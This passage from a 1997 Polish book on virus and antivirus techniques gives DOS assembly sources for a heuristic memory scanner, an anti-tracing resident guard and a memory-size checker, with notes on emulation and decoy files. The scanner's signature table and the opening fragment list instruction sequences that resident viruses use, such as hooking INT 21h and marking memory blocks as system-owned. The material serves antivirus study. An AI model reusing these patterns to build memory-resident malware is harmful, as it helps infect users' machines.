; 80,3E,00,00, 5A kod maszynowy rozkazu

MOV AX, 2521h ; funkcja DOS ustaw adres przerwania 21h

INT 21h ; wywo│aj funkcjÛ B8,21,25,CD,21 kod maszynowy

; sekwencji

MOV WORD PTR [l],0008 ; ustaw blok jako systemowy w nag│¾wku MCB

; C7,06,01,00,08,00 kod maszynowy instrukcji

CALL NEXT ; weƒ relatywny offset NEXT:

; E8,00,00 kod instrukcji

Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane przez wirusy.


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; HEUR v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Program przeglada bloki MCB obecne w systemie i poszukuje w ;

; nich kilku standardowo wystepujacych w wirusach sekwencji ;

; Przy jego uzyciu mozna wykryc w pamieci niektore wirusy ;

; rezydetne ;

;----------------------------------------------------------------------------;

; Dane techniczne ;

;----------------------------------------------------------------------------;

; ;

; Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia 0AAh, a po ;

; uruchomieniu programu przywraca oryginalna wartosc pierwszego bajtu ;

; Dzieki temu program nie wykryje sygnatur np. w buforach dyskowych lub ;

; buforach programow cache (np. SMARTDRV) ;

; ;

; Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku MCB=0) ;

; ;; ;; ;;

;----------------------------------------------------------------------------;


JUMPS

HEUR SEGMENT

ORG 100h

ASSUME CS:HEUR, DS:HEUR


NUL = 00h ; \

LF = 0Ah ; - stale znakow

CR = 0Dh ; /


IleSygnZebyAlarm = 10 ; okresla, ile sygnatur musi wystapic

; w badanym bloku MCB, aby potraktowac

; jego zawartosc za podejrzana

; i wyswietlic ostrzezenie


DlugProgPara = (Offset Koniec-Offset Start+15)/16+10h

; okresla dlugosc programu w pamieci


Sygn struc ; \

SygnNazwa db 45 dup (?) ; \

SygnDlug dw 0 ; \

Sygn00 db 0 ; \

Sygn01 db 0 ; \

Sygn02 db 0 ; \ struktura opisujaca

Sygn03 db 0 ; / sygnature wirusa

Sygn04 db 0 ; /

Sygn05 db 0 ; /

Sygn06 db 0 ; /

Sygn07 db 0 ; /

Sygn ends ; /


DlugoscSygnatury = Size Sygn ; dlugosc struktury


;-----------------------------------------------------------------------------

Start:

lea si,TeCopyRight ; SI=ofset do informacji o programie

Call DrukLn ; wyswietl info o programie


Call SzukajHeur ; szukaj sekwencji w pamieci


mov ax,4C00h ; funkcja DOS - koncz program

int 21h ; wywolaj funkcje


;-----------------------------------------------------------------------------

SzukajHeur:

push es ax bx cx dx ; zachowaj zmieniane rejestry


mov bx,IleSygnatur ; ile sygnatur do odXORowania


lea si,Sygnatury ; skad pobierac sygnatury

add si,size SygnNazwa+size SygnDlug

; i gdzie XORowac bajt

XORujSygnature:

xor byte ptr [si],0AAh ; przywroc prawdziwy bajt sygnatury

add si,DlugoscSygnatury ; wez kolejna sygnature


dec bx ; zmniejsz licznik sygnatur

jnz XORujSygnature ; powtarzaj dla kazdej sygnatury


mov IloscSygn,0

mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?

int 21h ; wywolaj funkcje


push ax ; zachowaj informacje na pozniej


mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB

mov bx,1 ; sprobuj dolaczyc bloki UMB

int 21h ; wywolaj funkcje


mov ah,52h ; funkcja DOS - wez adres listy list LL

int 21h ; wywolaj funkcje


mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB


NastepnyMCB: ; kolejne bloki MCB


mov es,ax ; ES=MCB

mov bl,byte ptr es:[0] ; zachowaj info o znaczniku bloku


mov dx,es:[0003] ; DX=rozmiar bloku MCB

mov cx,es:[0001] ; CX=adres PSP z bloku MCB

Call SzukajWBloku


stc ; +1 w dodawaniu ponizej

adc ax,word ptr es:[0003] ; dodaj rozmiar bloku MCB+1

; AX=nastepny blok MCB

cmp bl,'M' ; czy to posredni blok ?

je NastepnyMCB ; TAK - przegladaj


cmp bl,'Z' ; czy to ostatni blok ?

je OstatniBlokMCB ; TAK - zakoncz przegladanie


; zly blok MCB - naruszona struktura

lea si,TeZlyMCB ; \ wyswietl komunikat

Call DrukLN ; / o blednym bloku MCB


OstatniBlokMCB:


pop bx ; przywroc info o UMB


mov bh,0 ; BX=BL

mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB

int 21h ; wywolaj funkcje


pop dx cx bx ax es ; przywroc zmieniane rejestry


cmp IloscSygn,0 ; \

jne SzukajHeurPowrot ; \

; - jezeli nie znalazl zadnej

lea si,TeNieMaSygnatur ; / sygnatury to wyswietl komunikat

Call DrukLN ; /


SzukajHeurPowrot:

ret ; powrot



;-----------------------------------------------------------------------------

SzukajWBloku: ; szuka sygnatury w bloku MCB

; AX=blok MCB

; DX=dlugosc bloku w paragrafach

push ds es ax bx cx dx si di ; zachowaj zmieniane rejestry


or cx,cx ; czy blok jest nieuzywany ?

je SzukajWBlokuPowrot ; TAK - nie sprawdzaj i powroc


mov AdresMCB,ax ; zapamietaj adres MCB


inc ax ; ES:0= MCB+1:0

mov es,ax ; ES wskazuje na dane w bloku


lea si,TeSprawdzam ; \

Call Druk ; \

lea si,TeBlokMCB ; \

Call Druk ; \

mov ax,AdresMCB ; \

Call DrukHEX16 ; \ wypisz info o szukaniu

lea si,TeRozmiar ; / w bloku MCB i podaj jego

Call Druk ; / adres, dlugosc

mov ax,dx ; /

Call DrukHex16 ; /

lea si,TeParagraf ; /

Call DrukLn ; /


mov bx,cs ; \

mov ax,es ; \ czy to MCB programu HEUR ?

cmp ax,bx ; / TAK-nie sprawdzaj kodu programu

jne InnyBlok ; / ale sprawdz poza nim


mov ax,DlugProgPara

sub dx,ax ; odejmij dlugosc kodu

or dx,dx ; \ czy nie odjete za duzo ?

jz SzukajWBlokuPowrot ; /


add ax,AdresMCB ; \ ES=dane poza kodem programu

mov es,ax ; /

InnyBlok:

or dx,dx ; \ pomin blok, gdy dlugosc =0

je SzukajWBlokuPowrot ; /


mov IloscBiezSygn,0 ; licznik wystapien w bloku

cld ; SI:=SI+1, DI:=DI+1 po oper. lancuchowych

xor di,di ; dane sa pod ES:0000


SzukajDalej:


mov bx,IleSygnatur ; ustaw licznik sygnatur


lea si,Sygnatury ; podaj, skad pobierac sygnatury

SzukajSygnature:

push si ; zachowaj zmieniane SI


mov bp,si ; zachowaj ofset do nazwy sygnatury

add si,size SygnNazwa+size SygnDlug

; dodaj ofset do sygnatury


lodsb ; wez 1-szy bajt sygnatury

scasb ; czy=bajt w pamieci ?

jnz NastepnaSygnatura ; NIE - sprawdz kolejna sygnature

; TAK - porownaj cala sygnature

mov cx,word ptr ds:[si-3] ; wez dlugosc sygnatury

dec cx ; pierwszego bajtu nie trzeba

; porownywac

push di ; DI jest pozniej potrzebne wiec zachowaj

rep cmpsb ; porownaj sygnature z pamiecia

pop di ; przywroc DI

jnz NastepnaSygnatura ; NIE - nie ma sygnatury

; TAK - sygnatura znaleziona

inc IloscSygn ; zwieksz ilosc wystapien (globalna)

inc IloscBiezSygn ; zwieksz ilosc wystapien (w MCB)


lea si,TeAdres ; \

Call Druk ; \ wyswietl jaka sygnatura

mov ax,es ; \ zostala znaleziona

Call DrukHEX16 ; \ i pod jakim adresem

mov ax,0E3Ah ; \

int 10h ; \

mov ax,di ; \

dec ax ; /

Call DrukHex16 ; /

lea si,TeSygnatura ; /

Call Druk ; /

mov si,bp ; /

add si,SygnNazwa ; /

Call DrukLn ; /


NastepnaSygnatura:


pop si ; przywroc SI

add si,DlugoscSygnatury ; i ustaw na nastepna sygnature


dec di ; ustaw wskaznik na poprzedni bajt

dec bx ; zmniejsz licznik sygnatur

jnz SzukajSygnature ; jezeli nie, to sprawdz kolejna sygnature


NastepnyBajt:

inc di ; wskaznik na nastepny bajt w bloku

and di,15 ; czy ofset>15

jnz SzukajDalej ; NIE - szukaj sygnatur

; TAK - zwieksz numer segmentu

mov di,es ; \

inc di ; \ ES:DI=ES:0010:=ES+1:0

mov es,di ; /

xor di,di ; /

NieZmienSeg:

dec dx ; zmniejsz ilosc paragrafow w bloku

jnz SzukajDalej ; NIE - kontynuuj sprawdzanie


cmp IloscBiezSygn,IleSygnZebyAlarm

; czy ilosc wykrytych sygnatur jest

; odpowiednio duza ?

jb SzukajWBlokuPowrot ; NIE - powrot


lea si,TePrawdopodWirus ; \ TAK - wypisz o tym komunikat

Call DrukLn ; /


SzukajWBlokuPowrot:

pop di si dx cx bx ax es ds ; przywroc zmieniane rejestry


ret ; powrot


;-----------------------------------------------------------------------------

DrukLn:

push si ; zachowaj zmieniany rejestr


call Druk ; wyswietl tekst z CS:SI


lea si,TeCRLF ; \ i przejdz do nastepnej linii

Call Druk ; /


pop si ; przywroc zmieniany rejestr


ret ; powrot


;-----------------------------------------------------------------------------

Druk:

push ax si ; zachowaj zmieniane rejestry


DrukPetla:

lods byte ptr cs:[si] ; wez kolejny znak tekstu

or al,al ; czy NUL ?


jz DrukPowrot ; TAK - koniec tekstu


mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje


jmp short DrukPetla ; pobierz kolejny znak tekstu


DrukPowrot:

pop si ax ; przywroc zmieniane rejestry


ret ; powrot



;-----------------------------------------------------------------------------

DrukHEX16:

push ax ; zachowaj 8 dolnych bitow

mov al,ah ; AL=AH=wyzsze 8 bitow

Call DrukHEX8 ; wyswietl wyzsze 8 bitow

pop ax ; przywroc 8 dolnych bitow

DrukHEX8:

push ax ; zachowaj 4 dolne bity

shr al,1 ; \ wez 4 gorne bity

shr al,1 ; \ do AL (podziel przez 16)

shr al,1 ; /

shr al,1 ; /

Call DrukHEX4 ; wyswietl 4 gorne bity

pop ax ; przywroc 4 dolne bity

and al,15 ; utworz z nich liczbe 0..F

DrukHEX4:

push bx ; BX bedzie potrzebne wiec zachowaj

lea bx,HexZnaki ; ustaw BX na tablice konwersji

xlatb ; konwertuj 0..F na '0'..'Z','A'..'Z'

; AL=cyfra

mov ah,0Eh ; funkcja BIOS - wyswietl znak z AL

int 10h ; wywoluje funkcje


pop bx ; przywroc BX


ret ; powrot


HexZnaki db '0123456789ABCDEF' ; tablica konwersji

TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'_ Szukam sygnatur ...',NUL

db CR,LF

TeCRLF db CR,LF,NUL


TeZlyMCB db CR,LF,'_ Struktura blokow MCB pamieci jest zaklocona !',NUL

TeSygnatura db ': Znaleziona sygnatura : ',NUL

TeNieMaSygnatur db CR,LF,'_ Nie znalazlem zadnej sygnatury !',NUL

TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym bloku MCB moze byc wirus !'

db CR,LF,' Swiadczy o tym ilosc znalezionych w nim sygnatur !',NUL

TeAdres db ' Adres=',NUL

TeBlokMCB db ' MCB=',NUL

TeRozmiar db ', Rozmiar MCB=',NUL

TeParagraf db ' paragrafow',NUL

TeSprawdzam db '_ Sprawdzam',NUL


Sygnatury:

Sygn <'CALL $+3; POP BX ',4,0E8h xor 0AAh,000h,000h,05Bh>

Sygn <'CALL $+3; POP BP ',4,0E8h xor 0AAh,000h,000h,05Dh>

Sygn <'CALL $+3; POP SI ',4,0E8h xor 0AAh,000h,000h,05Eh>

Sygn <'CALL $+3; POP DI ',4,0E8h xor 0AAh,000h,000h,05Fh>

Sygn <'CMP AX,4B00h; JZ ?? ',4,03Dh xor 0AAh,000h,04Bh,074h>

Sygn <'CMP AX,4B00h; JNZ ?? ',4,03Dh xor 0AAh,000h,04Bh,075h>

Sygn <'CMP AX,"MZ" ',4,03Dh xor 0AAh,05Ah,04Dh,075h>

Sygn <'CMP AX,"ZM" ',4,03Dh xor 0AAh,04Dh,05Ah,075h>

Sygn <'MOV AX,2521h; INT 21h ',5,0B8h xor 0AAh,021h,025h,0CDh,021h>

Sygn <'MOV AH,52h; INT 21h ',4,0B4h xor 0AAh,052h,0CDh,021h>

Sygn <'MOV AX,4300h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,043h,0E8h>

Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,043h,02Eh,09Ch,0FFh>

Sygn <'MOV AX,4301h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,043h,0E8h>

Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,043h,02Eh,09Ch,0FFh>

Sygn <'MOV AX,5700h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,057h,0E8h>

Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,057h,02Eh,09Ch,0FFh>

Sygn <'MOV AX,5701h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,057h,0E8h>

Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,057h,02Eh,09Ch,0FFh>

Sygn <'MOV AX,3D02h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,03Dh,0E8h>

Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,03Dh,02Eh,09Ch,0FFh>

Sygn <'MOV AX,4200h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,042h,0E8h>

Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,042h,02Eh,09Ch,0FFh>

Sygn <'MOV AX,4202h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,042h,0E8h>

Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,042h,02Eh,09Ch,0FFh>

Sygn <'MOV AH,3Fh; CALL NEAR [] ',3,048h xor 0AAh,03Fh,0E8h>

Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,03Fh,02Eh,09Ch,0FFh>

Sygn <'MOV AH,40h; CALL NEAR [] ',3,048h xor 0AAh,040h,0E8h>

Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,040h,02Eh,09Ch,0FFh>

Sygn <'CMP DS:[0],"Z"; JZ ?? ',4,080h xor 0AAh,03Fh,05Ah,074h>

Sygn <'CMP DS:[0],"Z"; JNZ ?? ',4,080h xor 0AAh,03Fh,05Ah,075h>

Sygn <'CMP ES:[0],"Z"; JZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,074h>

Sygn <'CMP ES:[0],"Z"; JNZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,075h>

Sygn <'MOV DS:[1],0008h ',6,0C7h xor 0AAh,006h,001h,000h,008h,000h>

Sygn <'MOV ES:[1],0008h ',7,026h xor 0AAh,0C7h,006h,001h,000h,008h,000h>

Sygn <'MOV DS:[100h],???? ',4,0C7h xor 0AAh,006h,000h,001h>

Sygn <'MOV ES:[100h],???? ',5,026h xor 0AAh,0C7h,006h,000h,001h>

Sygn <'MOV AX, 100h; PUSH AX; RET ',5,0B8h xor 0AAh,000h,001h,050h,0C3h>

Sygn <'MOV CX, 100h; PUSH CX; RET ',5,0B9h xor 0AAh,000h,001h,051h,0C3h>

Sygn <'MOV DX, 100h; PUSH DX; RET ',5,0BAh xor 0AAh,000h,001h,052h,0C3h>

Sygn <'MOV BX, 100h; PUSH BX; RET ',5,0BBh xor 0AAh,000h,001h,053h,0C3h>

Sygn <'MOV AX, 100h; JMP AX ',5,0B8h xor 0AAh,000h,001h,0FEh,0E0h>

Sygn <'MOV CX, 100h; JMP CX ',5,0B9h xor 0AAh,000h,001h,0FEh,0E1h>

Sygn <'MOV DX, 100h; JMP DX ',5,0BAh xor 0AAh,000h,001h,0FEh,0E2h>

Sygn <'MOV BX, 100h; JMP BX ',5,0BBh xor 0AAh,000h,001h,0FEh,0E3h>

Sygn <'MOV DS:[0086],CS ',4,08Ch xor 0AAh,00Eh,086h,000h>

Sygn <'MOV ES:[0086],CS ',5,026h xor 0AAh,08Ch,00Eh,086h,000h>

Sygn <'MOV AX,DS; DEC AX; MOV DS,AX ',5,08Ch xor 0AAh,0D8h,048h,08Eh,0D8h>

Sygn <'MOV AX,ES; DEC AX; MOV ES,AX ',5,08Ch xor 0AAh,0C0h,048h,08Eh,0C0h>

Sygn <'MOV AL,3; IRET ',3,0B4h xor 0AAh,003h,0CFh>

IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury


AdresMCB dw ?

IloscBiezSygn dw ?

IloscSygn dw ?


Koniec:

HEUR ENDS


END Start



12.3. Tryb krokowy

Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej. Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora. Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa (jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzie jest już odszyfrowany wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie ma w nim wirusa.


12.4. Emulacja procesora

Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać, autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki któremu mogą emulować wykonywanie początkowych intrukcji programu, mając jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii 80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji, której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h, 67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych. Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych, które po ich napotkaniu kończyły sprawdzanie pliku.


12.5. Przynęty (ang. baits, decoys)

Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy, dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich zainfekowanie.

Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie zainfekować takiego pliku.


12.6. Odświeżanie programów systemowych w sektorach

Ta dość trywialna technika służy do nadpisywania programów istniejących w BOOT-sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania takiego odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego przez niego sektora. Podczas przeprowadzania operacji odświeżania należy pamiętać, iż niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie będzie można odczytać zapisanych na dysku danych.

Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa techniki stealth odczyty najlepiej, byłoby wykonywać przez porty.


12.7. Blokowanie programów używających trybu krokowego

Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do przerwań.

Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h, 2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli na niebezpieczne działania.

Powyższą technikę demonstruje poniższy program.


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Program nie pozwala przejsc w trybie krokowym ;

; przez przerwania 13h i 21h. ;

; W efekcie wirusy uzywajace tracingu do odnalezienia ;

; oryginalnych procedur obslugi tych przerwan nie znajda ;

; ostatniego elementu lancucha, a tylko element posredni. ;

; ;

; Kompilacja : ;

; TASM ANTYTRAC.ASM ;

; TLINK /t ANTYTRAC.OBJ ;

; ;

;----------------------------------------------------------------------------;

;

NUL = 00h ; \

LF = 0Ah ; - stale potrzebne do deklaracji

CR = 0Dh ; / lancuchow napisowych


ANTYTRAC SEGMENT ; segment kodu i danych


ORG 100h ; program jest typu COM


ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC


DlugoscKoduTSR = (offset KoniecKoduTSR-offset PoczatekKoduTSR+15)/16+10h

; oblicza, ile pamieci zajmie TSR


PoczatekKoduTSR:

Start: ; tu zaczyna sie program

jmp Poczatek ; skocz i zainstaluj lub odinstaluj program


NoweInt21h:

cmp ax,3521h ; czy to funkcja 3521h ?

jne Nie3521 ; NIE - skocz na koniec obslugi


cmp bp,0BACAh ; czy to ponownie uruchomiony program ?

; wywolal te funkcje ?

jne Nie3521 ; NIE - skocz na koniec obslugi


; TAK - odinstaluj wirusa

push es ds ; zachowaj zmieniane rejestry


lds dx,dword ptr cs:[StareInt21] ; pobierz stary adres INT 21h

mov ax,2521h ; funkcja DOS - ustaw nowe przerwanie

int 21h ; wywolaj funkcje (rekurencyjnie)


lds dx,dword ptr cs:[StareInt13] ; pobierz stary adres INT 13h

mov ax,2513h ; funkcja DOS - ustaw nowe przerwanie

int 21h ; wywolaj funkcje


push cs

pop es ; ES=zwalniany segment

mov ah,49h ; funkcja DOS - zwolnij blok pamieci

int 21h ; wywolaj funkcje


pop ds es ; przywroc zmieniane rejestry


mov ax,bp ; przekaz informacje do wywolujacego

; programu


iret ; powrot z przerwania


Nie3521:


Call Wylacz_TF ; jezeli bit TF=1, ustaw TF=0


db 0EAh ; czesc rozkazu JMP FAR

StareInt21 dd ? ; koncowka rozkazu JMP FAR


NoweInt13h:


Call Wylacz_TF ; jezeli TF=1, ustaw TF=0


db 0EAh ; czesc rozkazu JMP FAR

StareInt13 dd ? ; koncowka rozkazu JMP FAR


Wylacz_TF:

cli ; zablokuj przerwania

push ax bx ds ; zachowaj zmieniane rejestry


push ss ; \ za pomoca tej sztuczki zwykle

pop ss ; \ mozna pobrac "prawdziwy" obraz

pushf ; / rejestru znacznikow

pop ax ; /


test ah,1 ; czy TF ustawiony ?


jz TF_NieUstawiony ; NIE - nie trzeba nic robic


mov ax,0123h ;

push ax ; ss:[sp]:=0123

pop ax ; ax:=ss:[sp]:=0123

dec sp ; sp=sp-2-wskazuje na wartosc,

dec sp ; ktora byla sciagana ze stosu

pop ax ; ax:=ss:[sp]:=0123 jezeli TF=0

cmp ax,0123h

jz TF_NieUstawiony ; NIE - nie trzeba nic robic


xor ax,ax ; \ DS wskazuje na tablice przerwan

mov ds,ax ; /


lds bx,ds:[01h*4] ; DS:BX wskazuje na adres obslugi

; przerwania krokowego INT 1

mov al,0CFh ; kod 0CFh oznacza IRET

xchg al,ds:[bx] ; wymien pierwszy bajt w procedurze

; obslugi INT 1 - teraz jest tylko

; IRET


push ax ; zachowaj pierwszy bajt procedury


pushf ; \

pop ax ; \ zeruj TF

and ah,0FEh ; -

push ax ; /

popf ; /


pop ax ; przywroc pierwszy bajt


mov ds:[bx],al ; i zapisz go z powrotem


TF_NieUstawiony:

pop ds bx ax ; przywroc zmieniane rejestry


ret ; powrot z procedury


KoniecKoduTSR:


Poczatek:

mov es,ds:[2Ch] ; ES=blok otoczenia programu

mov ah,49h ; funkcja DOS - zwolnij blok pamieci

int 21h ; wywolaj funkcje


lea si,TeCopyRight ; \ pokaz info o programie

Call Print ; /


mov bp,0BACAh ; \ wez stare INT 21h i jednoczesnie

mov ax,3521h ; - odinstaluj program, jezeli juz

int 21h ; / byl wczesniej zainstalowany


cmp ax,0BACAh ; czy zostal odinstalowany ?

je Deinstal ; TAK - wyswietl komunikat i koncz


mov word ptr [StareInt21],bx ; \ zachowaj stare INT 21

mov word ptr [StareInt21+2],es ; /


mov ax,3513h ; funkcja DOS - wez stare INT 13h

int 21h ; wywolaj funkcje


mov word ptr [StareInt13],bx ; \ zachowaj stare INT 13

mov word ptr [StareInt13+2],es ; /


lea si,TeZainstalowany ; \ pokaz info o programie

Call Print ; /


lea dx,NoweInt21h ; DS:DX wskazuje na nowa procedure

mov ax,2521h ; funkcja DOS - ustaw nowa INT 21

int 21h ; wywolaj funkcje


lea dx,NoweInt13h ; DS:DX wskazuje na nowa procedure

mov ax,2513h ; funkcja DOS - ustaw nowa INT 13

int 21h ; wywolaj funkcje


mov dx,DlugoscKoduTSR ; ile kodu zostanie jako TSR

mov ah,31h ; funkcja DOS - koncz i zostaw TSR

int 21h ; wywolaj funkcje


Deinstal:

lea si,TeOdinstalowany ; \ pokaz info o deinstalacji

Call Print ; /


mov ax, 4C00h ; funkcja DOS - koncz program

int 21h ; wywolaj funkcje


Print proc near ; procedura wyswietla tekst ASCIIZ

; spod adresu CS:SI


push ax ; \ zachowaj zmieniane rejestry

push si ; /


GetNextChar:

lods byte ptr cs:[si] ; wez kolejny znak

or al,al ; czy znak jest zerem ?

jz PrintExit ; tak=koniec napisu; wyjdz z petli

Call PrintChar ; nie=wyswietl znak w AL

;

jmp short GetNextChar ; i wez nastepny znak


PrintExit:

pop si ; \ przywroc zmieniane rejestry

pop ax ; /


ret ; powrot z procedury


Print endp


PrintChar proc near ; procedura wyswietla znak w AL


push ax ; zachowaj zmieniany rejestr


mov ah,0Eh ; funkcja BIOS

int 10h ; wyswietl znak w AL


pop ax ; przywroc zmieniany rejestr


ret ; powrot z procedury


PrintChar endp



TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997'

TeCRLF db CR,LF,NUL

TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL

TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL


ANTYTRAC ENDS ; koniec segmentu kodu i danych

END Start ; koniec programu, pierwsza instrukcja

; pod etykieta Start



12.8. Pobieranie wielkości pamięci operacyjnej

Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na porównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten wyświetla na ekranie.


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; MEM640 v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Programik pobiera i wyswietla rozmiar pamieci ponizej 640kb ;

; Wielkosc pamieci jest pobierana kilkoma metodami ;

; Przy jego uzyciu mozna wykryc w pamieci obecnosc wirusa ;

; rezydetnego (gdy odczytane dlugosci pamieci beda rozne) ;

; ;

;----------------------------------------------------------------------------;


PROG SEGMENT

ORG 100h

ASSUME CS:PROG, DS:PROG


NUL = 00h ; \

LF = 0Ah ; - stale znakow

CR = 0Dh ; /


;-----------------------------------------------------------------------------

Start:

lea si,TeCopyRight ; SI=ofset do info o programie

Call DrukLn ; wyswietl info o programie


Call Pokaz_CMOS ; ile zapisane w CMOS

call Pokaz_ZmiennaBIOS ; ile w komorce 0000:0413

call Pokaz_Int12 ; ile zwraca INT 12

Call Pokaz_MCB ; ile z sumy MCB


mov ax,4C00h ; funkcja DOS - koncz program

int 21h ; wywolaj funkcje


;-----------------------------------------------------------------------------

Pokaz_CMOS:

push ax dx si ; zachowaj zmieniane rejestry


lea si,TeCMOS ; \ wyswietl info skad czytany

Call Druk ; / rozmiar pamieci


mov al,16h ; \ wez z CMOS starsza czesc

Call WezCMOS ; / rozmiaru pamieci


mov ah,al ; i przepisz do AH


mov al,15h ; \ wez z CMOS starsza czesc

Call WezCMOS ; / rozmiaru pamieci

; AX= rozmiar w CMOS w kilobajtach


mov dx,1024 ; \ oblicz ile bajtow

mul dx ; /


Call DrukDec32 ; wyswietl ile bajtow


pop si dx ax ; przywroc zmieniane rejestry


ret ; powrot


;-----------------------------------------------------------------------------

WezCMOS:

out 70h,al ; zapisz do portu CMOS,

; ktora komorke czytac

jmp $+2 ; czekaj


in al,71h ; czytaj z CMOS


ret ; powrot


;-----------------------------------------------------------------------------

Pokaz_Int12:

push ax dx si ; zachowaj zmieniane rejestry


lea si,TeInt12 ; \ wyswietl info skad czytany

Call Druk ; / rozmiar pamieci


int 12h ; przerwanie BIOS - dostepna pamiec

; AX=rozmiar pamieci w kilobajtach


mov dx,1024 ; \ oblicz ile bajtow

